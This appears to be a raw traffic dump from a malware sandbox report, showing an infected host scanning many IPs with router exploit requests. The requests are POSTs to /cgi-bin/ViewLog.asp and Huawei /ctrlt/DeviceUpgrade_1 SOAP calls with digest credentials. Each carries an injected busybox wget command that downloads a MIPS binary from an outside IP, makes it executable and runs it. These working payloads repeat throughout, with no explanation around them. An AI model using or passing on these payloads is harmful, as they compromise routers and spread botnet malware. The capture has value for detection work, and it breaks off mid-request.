                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.080609083 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                456192.168.2.154898085.247.87.388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:55.498815060 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                457192.168.2.155819862.29.29.418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:55.522250891 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                458192.168.2.155668895.86.77.718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:55.528430939 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                459192.168.2.155437831.200.63.988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:55.724684954 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                460192.168.2.155586294.131.8.418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:55.750174999 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                461192.168.2.156050431.136.130.2328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:56.490269899 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:59.609848022 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:05.753627062 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.785456896 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.128592014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                462192.168.2.154835294.100.50.468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:56.503910065 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:56.725315094 CET1229INHTTP/1.1 404 Not Found
                                                Server: Apache-Coyote/1.1
                                                Content-Type: text/html;charset=utf-8
                                                Content-Length: 1012
                                                Date: Thu, 23 Nov 2023 04:29:23 GMT
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 33 35 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 33 35 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>Apache Tomcat/6.0.35 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>description</b> <u>The requested resource (/cgi-bin/ViewLog.asp) is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.35</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                463192.168.2.155882294.122.7.1178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:56.948820114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                464192.168.2.154016095.86.91.1668080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:56.959151030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                465192.168.2.1533430156.235.109.22437215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:57.789072037 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:59.641763926 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:01.913800955 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
